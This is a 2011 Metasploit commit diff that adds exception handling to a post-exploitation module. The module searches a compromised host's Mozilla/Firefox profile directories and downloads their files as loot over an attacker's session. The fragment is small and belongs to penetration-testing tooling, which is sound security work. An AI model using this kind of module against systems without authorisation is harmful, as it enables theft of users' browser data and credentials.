Add a rescue for the file download

git-svn-id: file:///home/svn/framework3/trunk@12176 4d416f70-5f16-0410-b530-b9f4589650da
unstable
David Rude 2011-03-29 04:43:02 +00:00
parent 30b25994d7
commit c0bde3f030
1 changed files with 10 additions and 6 deletions

View File

@ -170,13 +170,13 @@ class Metasploit3 < Msf::Post
paths = []
path = path + "\\Mozilla\\"
print_status("Checking for Firefox directory in: #{path}")
stat = session.fs.file.stat(path) rescue nil
if !stat
print_error("Firefox not found")
return
end
session.fs.dir.foreach(path) do |fdir|
if fdir =~ /Firefox/i and @platform == :windows
paths << path + fdir + "Profiles\\"
@ -227,11 +227,15 @@ class Metasploit3 < Msf::Post
print_good("Downloading #{file} file from: #{path}")
file = path + "\\" + file
fd = session.fs.file.new(file)
until fd.eof?
loot << fd.read
begin
until fd.eof?
loot << fd.read
end
rescue EOFError
ensure
fd.close
end
fd.close
ext = file.split('.')[2]
if ext == "txt"
mime = "plain"